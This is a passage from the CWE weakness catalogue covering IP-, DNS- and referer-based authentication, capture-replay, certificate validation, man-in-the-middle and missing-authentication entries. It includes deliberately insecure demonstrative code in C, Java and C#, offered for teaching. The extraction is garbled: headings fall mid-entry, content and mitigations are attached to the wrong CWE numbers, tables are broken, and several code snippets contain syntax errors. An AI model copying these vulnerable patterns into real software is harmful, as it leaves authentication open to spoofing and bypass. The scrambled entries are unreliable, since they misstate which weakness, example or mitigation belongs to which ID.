if (sourceIP != null & & sourceIP.equals(APPROVED_IP)) {
    authenticated = true;
}
```

The authentication mechanism implemented relies on an IP address for source validation. If an attacker is able to spoof the IP, they may be able to bypass the authentication mechanism.

Example 2:
Both of these examples check if a request is from a trusted address before responding to the request.

C/C++ Example: Bad Code

```c
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clilen = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
        n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
    }
}
```

Java Example: Bad Code

```java
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress clientIPAddress = rp.getAddress();
    int port = rp.getPort();
}
```
The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.

Example 3:
The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

C Example:
```c
struct hostent *hp;struct in_addr myaddr;
char *tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
   trusted = true;
} else {
   trusted = false;
}
```

Java Example:
```java
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
   trusted = true;
}
```

C# Example:
```csharp
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
   trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

CWE-291: Reliance on IP Address for Authentication

| Weakness ID: 291 (Weakness Variant) | Status: Incomplete |

Description

Summary
The software uses an IP address for authentication.

Extended Description
IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Time of Introduction
• Architecture and Design

Applicable Platforms

Languages
• Language-independent

Common Consequences
Access Control
Non-Repudiation
Hide activities
Gain privileges / assume identity
Malicious users can fake authentication information, impersonating any IP address.

Likelihood of Exploit
High

Demonstrative Examples
Both of these examples check if a request is from a trusted address before responding to the request.
C/C++ Example:

```c
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr_s_addr = htonl(INADDR_ANY);
serv.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
  memset(msg, 0x0, MAX_MSG);
  clen = sizeof(cli);
  if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
    n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
  }
}
```

Java Example:

```java
while(true) {
  DatagramPacket rp=new DatagramPacket(rData,rData.length);
  outSock.receive(rp);
  String in = new String(p.getData(),0, rp.getLength());
  InetAddress clientIPAddress = rp.getAddress();
  int port = rp.getPort();
  if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
    out = secret.getBytes();
    DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
  }
}
```

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.

**Potential Mitigations**

**Architecture and Design**

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

**Weakness Ordinalities**

**Resultant** *(where the weakness is typically related to the presence of some other weaknesses)*

### CWE-293: Using Referer Field for Authentication

**Weakness ID:** 293 (*Weakness Variant*)

**Status:** Draft

**Description**

**Summary**
The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.

**Alternate Terms**

**referrer**
While the proper spelling might be regarded as "referrer," the HTTP RFCs and their implementations use "referer," so this is regarded as the correct spelling.

**Time of Introduction**
- Architecture and Design

**Applicable Platforms**
- All

**Languages**
- All

**Common Consequences**

**Access Control**

**Gain privileges / assume identity**
Actions, which may not be authorized otherwise, can be carried out as if they were validated by the server referred to.

**Likelihood of Exploit**
High

**Demonstrative Examples**
The following code samples check a packet's referer in order to decide whether or not an inbound request is from a trusted host.

#### C++ Example:

```cpp
String trustedReferer = "http://www.example.com/"
while(true){
  n = read(newsock, buffer, BUFSIZE);
  requestPacket = processPacket(buffer, n);
  if (requestPacket.referer == trustedReferer){
    openNewSecureSession(requestPacket);
  }
}
```

#### Java Example:

```java
boolean processConnectionRequest(HttpServletRequest request){
  String referer = request.getHeader("referer")
  String trustedReferer = "http://www.example.com/"
  if(referer.equals(trustedReferer)){
    openPrivilegedConnection(request);
    return true;
  }
  else{
    sendPrivilegeError(request);
    return false;
  }
}
```
These examples check if a request is from a trusted referer before responding to a request, but the code only verifies the referer name as stored in the request packet. An attacker can spoof the referer, thus impersonating a trusted client.

**Potential Mitigations**

**Architecture and Design**

In order to usefully check if a given action is authorized, some means of strong authentication and method protection must be used. Use other means of authorization that cannot be simply spoofed. Possibilities include a username/password or certificate.

**Background Details**

The referer field in HTML requests can be simply modified by malicious users, rendering it useless as a means of checking the validity of the request in question.

**Relationships**

**References**

**CWE-294: Authentication Bypass by Capture-replay**

**Weakness ID: 294 (Weakness Base)**

**Status: Incomplete**

**Description**

**Summary**

A capture-replay flaw exists when the design of the software makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).

**Extended Description**

Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

Languages

- All

**Common Consequences**

- Access Control
  - Gain privileges / assume identity
    - Messages sent with a capture-relay attack allow access to resources which are not otherwise accessible without proper authentication.

**Likelihood of Exploit**

- High

**Observed Examples**

CWE-295: Improper Certificate Validation

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-3435</td>
<td>product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.</td>
</tr>
<tr>
<td>CVE-2007-4961</td>
<td>Chain: cleartext transmission of the MD5 hash of password (CWE-319) enables attacks against a server that is susceptible to replay (CWE-294).</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Architecture and Design

Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.

#### Architecture and Design

Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.

### CWE-295: Improper Certificate Validation

**Weakness ID:** 295 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**

The software does not validate, or incorrectly validates, a certificate.

**Extended Description**

When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by using a man-in-the-middle (MITM) attack. The software might connect to a malicious host while believing it is a trusted host, or the software might be deceived into accepting spoofed data that appears to originate from a trusted host.

**Time of Introduction**

• Architecture and Design
• Implementation

**Applicable Platforms**

Detection Methods

**Automated Static Analysis - Binary / Bytecode**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Web Application Scanner

**Dynamic Analysis with manual results interpretation**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Man-in-the-middle attack tool

**Manual Static Analysis - Source Code**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Focused Manual Spotcheck - Focused manual analysis of source
  - Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

**Architecture / Design Review**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Implementation**

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

**Background Details**

A certificate is a token that associates an identity (principle) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner.

<tbody>
<tr>
<td><strong>Description</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
<tr>
<td>The software does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.</td>
<td></td>
</tr>
<tr>
<td><strong>Extended Description</strong></td>
<td></td>
</tr>
<tr>
<td>If a system does not follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate.</td>
<td></td>
</tr>
<tr>
<td>In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate-wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since the entire chain must be traversed back to a trusted source to verify the certificate.</td>
<td></td>
</tr>
<tr>
<td>There are several ways in which the chain of trust might be broken, including but not limited to:</td>
<td></td>
</tr>
<tr>
<td>Any certificate in the chain is self-signed, unless it the root.</td>
<td></td>
</tr>
<tr>
<td>Not every intermediate certificate is checked, starting from the original certificate all the way up to the root certificate.</td>
<td></td>
</tr>
<tr>
<td>An intermediate, CA-signed certificate does not have the expected Basic Constraints or other important extensions.</td>
<td></td>
</tr>
<tr>
<td>The root certificate has been compromised or authorized to the wrong party.</td>
<td></td>
</tr>

<td></td>
</tr>
<tr>
<td>Low</td>
<td></td>
</tr>
<tr>
<td>Demonstrative Examples</td>
<td></td>
</tr>
</tbody>
</table>
This code checks the certificate of a connected peer.

**C/C++ Example:**

```c
if ((cert = SSL_get_peer_certificate(ssl)) && host)
    foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo))
    // certificate looks good, host can be trusted
```

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or conducting a man-in-the-middle attack.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0862</td>
<td>Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.</td>

**References**

Summary
The software communicates with a host that provides a certificate, but the software does not properly ensure that the certificate is actually associated with that host.

Extended Description
Even if a certificate is well-formed, signed, and follows the chain of trust, it may simply be a valid certificate for a different site than the site that the software is interacting with. If the certificate's host-specific data is not properly checked - such as the Common Name (CN) in the Subject or the Subject Alternative Name (SAN) extension of an X.509 certificate - it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data, impersonating a trusted host. In order to ensure data integrity, the certificate must be valid and it must pertain to the site that is being accessed.

Even if the software attempts to check the hostname, it is still possible to incorrectly check the hostname. For example, attackers could create a certificate with a name that begins with a trusted name followed by a NUL byte, which could cause some string-based comparisons to only examine the portion that contains the trusted name.

Time of Introduction
• Architecture and Design

Applicable Platforms

Languages
• Language-independent

Architectural Paradigms
• Mobile Application

Common Consequences
Access Control
Gain privileges / assume identity
The data read from the system vouched for by the certificate may not be from the expected system.

Authentication
Other
Other
Trust afforded to the system in question -- based on the expired certificate -- may allow for spoofing or redirection attacks.

Likelihood of Exploit
High

Demonstrative Examples
The following OpenSSL code obtains a certificate and verifies it.

C/C++ Example:

```c

cert = SSL_get_peer_certificate(ssl);
if (cert && (SSL_get_verify_result(ssl)==X509_V_OK)) {
    // do secret things
}
```

Even though the "verify" step returns X509_V_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0355</td>
<td>Web browser does not validate Common Name, allowing spoofing of https sites.</td>

<td>Web browser does not correctly handle `\0' character (NUL) in Common Name, allowing spoofing of https sites.</td>
</tr>
<tr>
<td>CVE-2009-3767</td>
<td>LDAP server's incorrect handling of `\0' character (NUL) in hostname verification allows spoofing.</td>
</tr>
<tr>
<td>CVE-2009-4565</td>
<td>Mail server's incorrect handling of `\0' character (NUL) in hostname verification allows spoofing.</td>
</tr>
</tbody>
</table>
## CWE-298: Improper Validation of Certificate Expiration

### Description

Incorrect handling of ‘0’ character (NUL) in hostname verification allows spoofing.

Database program truncates the Common Name during hostname verification, allowing spoofing.

Smartphone device does not verify hostname, allowing spoofing of mail services.

Cloud-support library written in Python uses incorrect regular expression when matching hostname.

Merchant SDK for payments does not verify the hostname.

PHP library for payments does not verify the hostname.

SOAP platform does not verify the hostname.

E-commerce module does not verify hostname when connecting to payment site.

Payment processing module does not verify hostname when connecting to PayPal using PHP fsockopen function.

Software for electronic checking does not verify hostname, leading to financial loss.

Mobile banking application does not verify hostname, leading to financial loss.

Mobile application for printing documents does not verify hostname, allowing attackers to read sensitive documents.

Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.

Cloud storage management application does not validate hostname.

Application uses third-party library that does not validate hostname.

Chat application does not validate hostname, leading to loss of privacy.

### Potential Mitigations

#### Architecture and Design

Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Failure to validate host-specific certificate data</td>
</tr>
</tbody>
</table>

### References

Summary
A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.

Extended Description
When the expiration of a certificate is not taken into account, no trust has necessarily been conveyed through it. Therefore, the validity of the certificate cannot be verified and all benefit of the certificate is lost.

Time of Introduction
- Architecture and Design

Applicable Platforms

Languages
- Language-independent

Common Consequences
Integrity
Other
Other
The data read from the system vouched for by the expired certificate may be flawed due to malicious spoofing.

Authentication
Other
Other
Trust afforded to the system in question -- based on the expired certificate -- may allow for spoofing attacks.

Likelihood of Exploit
Low

Demonstrative Examples
The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

C/C++ Example:

```c
if (cert = SSL_get_peer(certificate(ssl)) { 
  foo=SSL_get_verify_result(ssl); 
  if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))
    //do stuff
```

If the call to SSL_get_verify_result() returns X509_V_ERR_CERT_HAS_EXPIRED, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.

Potential Mitigations
Architecture and Design
Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

### CWE-299: Improper Check for Certificate Revocation

**Weakness ID:** 299 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

The software does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.

**Extended Description**

An improper check for certificate revocation is a far more serious flaw than related certificate failures. This is because the use of any revoked certificate is almost certainly malicious. The most common reason for certificate revocation is compromise of the system in question, with the result that no legitimate servers will be using a revoked certificate, unless they are sorely out of sync.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

**Access Control**

- **Gain privileges / assume identity**

  Trust may be assigned to an entity who is not who it claims to be.

**Integrity**

- Other

**Other**

- Data from an untrusted (and possibly malicious) source may be integrated.

**Confidentiality**

- **Read application data**

  Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.

**Likelihood of Exploit**

- Medium

**Demonstrative Examples**

The following OpenSSL code ensures that there is a certificate before continuing execution.

**C/C++ Example:**

```
if (cert = SSL_get_peer_certificate(ssl)) {
  // got a certificate, do secret things
```

Because this code does not use SSL_get_verify_results() to check the certificate, it could accept certificates that have been revoked (X509_V_ERR_CERT_REVOKED). The software could be communicating with a malicious host.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-4409</td>

CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle')

Description

Summary

The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.

Extended Description

In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.

Time of Introduction

- Architecture and Design

Applicable Platforms

Potential Mitigations

Architecture and Design

Ensure that certificates are checked for revoked status.

Read application data
Modify application data
Gain privileges / assume identity

An attacker could pose as one of the entities and read or possibly modify the communication.

Demonstrative Examples

In the Java snippet below, data is sent over an unencrypted channel to a remote server.

Java Example:

```java
Socket sock;
PrintWriter out;
try {
    sock = new Socket(REMOTE_HOST, REMOTE_PORT);
    out = new PrintWriter(echoSocket.getOutputStream(), true);
    // Write data to remote host via socket output stream.
    ...
}
```

By eavesdropping on the communication channel or posing as the endpoint, an attacker would be able to read all of the transmitted data.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2014-1266</td>
<td>chain: incorrect &quot;goto&quot; in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple &quot;goto fail&quot; bug). CWE-705 (Incorrect Control Flow Scoping) -&gt; CWE-561 (Dead Code) -&gt; CWE-295 (Improper Certificate Validation) -&gt; CWE-393 (Return of Wrong Status Code) -&gt; CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation

Always fully authenticate both ends of any communications channel.

Architecture and Design

Adhere to the principle of complete mediation.

Implementation

A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.

CWE-301: Reflection Attack in an Authentication Protocol

Weakness ID: 301 (Weakness Variant) Status: Draft

Description

Summary

Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.

Extended Description

A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Access Control

Gain privileges / assume identity

The primary result of reflection attacks is successful authentication with a target machine -- as an impersonated user.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example:

```c
unsigned char *simple_digest(char *alg, char *buf, unsigned int len, int *olen) {
    const EVP_MD *m;
    EVP_MD_CTX ctx;
    unsigned char *ret;
    OpenSSL_add_all_digests();
    if (!(m = EVP_get_digestbyname(alg))) return NULL;
    if (!(ret = (unsigned char*)malloc(EVP_MAX_MD_SIZE))) return NULL;
    EVP_DigestInit(&ctx, m);
    EVP_DigestUpdate(&ctx, buf, len);
    EVP_DigestFinal(&ctx, ret, olen);
    return ret;
}
```

```c
unsigned char *generate_password_and_cmd(char *password_and_cmd) {
    simple_digest("sha1", password_and_cmd);
}
```
Java Example:

```java
String command = new String("some cmd to execute & the password");
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(command.getBytes("UTF-8");
byte[] digest = encer.digest();
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-3435</td>
<td>product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

Use different keys for the initiator and responder or of a different type of challenge for the initiator and responder.

**Other Notes**

Reflection attacks capitalize on mutual authentication schemes in order to trick the target into revealing the secret shared between it and another valid user. In a basic mutual-authentication scheme, a secret is known to both the valid user and the server; this allows them to authenticate. In order that they may verify this shared secret without sending it plainly over the wire, they utilize a Diffie-Hellman-style scheme in which they each pick a value, then request the hash of that value as keyed by the shared secret. In a reflection attack, the attacker claims to be a valid user and requests the hash of a random value from the server. When the server returns this value and requests its own value to be hashed, the attacker opens another connection to the server. This time, the hash requested by the attacker is the value which the server requested in the first connection. When the server returns this hashed value, it is used in the first connection, authenticating the attacker successfully as the impersonated valid user.

**References**

**Maintenance Notes**

The term “reflection” is used in multiple ways within CWE and the community, so its usage should be reviewed.
CWE-302: Authentication Bypass by Assumed-Immutable Data

Description

Summary
The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Access Control
- Bypass protection mechanism

Demonstrative Examples

In the following example, an "authenticated" cookie is used to determine whether or not a user should be granted access to a system.

Java Example:

```java
boolean authenticated = new Boolean(getCookieValue("authenticated")).booleanValue();
if (authenticated) {
    ...
}
```

Of course, modifying the value of a cookie on the client-side is trivial, but many developers assume that cookies are essentially immutable.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0367</td>
<td>DebPloit</td>
</tr>
<tr>

CWE-304: Missing Critical Step in Authentication

**Weakness ID:** 304 *(Weakness Base)*  
**Status:** Draft
Description
Summary
The software implements an authentication technique, but it skips a step that weakens the technique.
Extended Description
Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Access Control
Integrity
Confidentiality
Bypass protection mechanism
Gain privileges / assume identity
Read application data
Execute unauthorized code or commands
This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or allowing attackers to execute arbitrary code.

Observed Examples
Reference Description
CVE-2004-2163 Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies.

CWE-306: Missing Authentication for Critical Function

Weakness ID: 306 (Weakness Variant) Status: Draft

Description

Summary
The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

Time of Introduction
- Architecture and Design

Applicable Platforms

Languages
- Language-independent

Common Consequences

Access Control

Other

Gain privileges / assume identity

Other
Exposing critical functionality essentially provides an attacker with the privilege level of that functionality. The consequences will depend on the associated functionality, but they can range from reading or modifying sensitive data, access to administrative or other privileged functionality, or possibly even execution of arbitrary code.

Likelihood of Exploit
Medium to High

Detection Methods
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authentication mechanisms. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis
Limited
Automated static analysis is useful for detecting commonly-used idioms for authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries. Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Host Application Interface Scanner
- Fuzz Tester
- Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer
**Architecture / Design Review**

**SOAR High**

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  - Formal Methods / Correct-By-Construction

- Cost effective for partial coverage:
  - Attack Modeling

**Demonstrative Examples**

In the following Java example the method `createBankAccount` is used to create a `BankAccount` object for a bank management application.

**Java Example:**

```java
public BankAccount createBankAccount(String accountNumber, String accountType,
 String accountName, String accountSSN, double balance) {
    BankAccount account = new BankAccount();
    account.setAccountNumber(accountNumber);
    account.setAccountType(accountType);
    account.setAccountOwnerName(accountName);
    account.setAccountOwnerSSN(accountSSN);
    account.setBalance(balance);
    return account;
}
```

However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.

The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the `createBankAccount` will not create the bank account object.

**Java Example:**

```java
private boolean isUserAuthentic = false;
// authenticate user,
// if user is authenticated then set variable to true
// otherwise set variable to false
public boolean authenticateUser(String username, String password) {
    ...
}
public BankAccount createNewBankAccount(String accountNumber, String accountType,
 String accountName, String accountSSN, double balance) {
    BankAccount account = null;
    if (isUserAuthentic) {
        account = new BankAccount();
        account.setAccountNumber(accountNumber);
        account.setAccountType(accountType);
        account.setAccountOwnerName(accountName);
        account.setAccountOwnerSSN(accountSSN);
        account.setBalance(balance);
    }
    return account;
}
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1810</td>
<td>MFV. Access TFTP server without authentication and obtain configuration file with sensitive plaintext information.</td>
</tr>
<tr>
<td>CVE-2004-0213</td>
<td>Product enforces restrictions through a GUI but not through privileged APIs.</td>
</tr>
<tr>
<td>CVE-2008-6827</td>
<td>Agent software running at privileges does not authenticate incoming requests over an unprotected channel, allowing a Shatter™ attack.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Architecture and Design
Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design
Where possible, avoid implementing custom authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These may make it easier to provide a clear separation between authentication tasks and authorization tasks.
In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [R.306.3].

Related Attack Patterns
CWE-307: Improper Restriction of Excessive Authentication Attempts

Description

Summary

The software does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame, making it more susceptible to brute force attacks.

Time of Introduction

- Architecture and Design

Applicable Platforms

- Language-independent

Common Consequences

Access Control

Bypass protection mechanism

An attacker could perform an arbitrary number of authentication attempts using different passwords, and eventually gain access to the targeted account.

Detection Methods

Dynamic Analysis with automated results interpretation

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

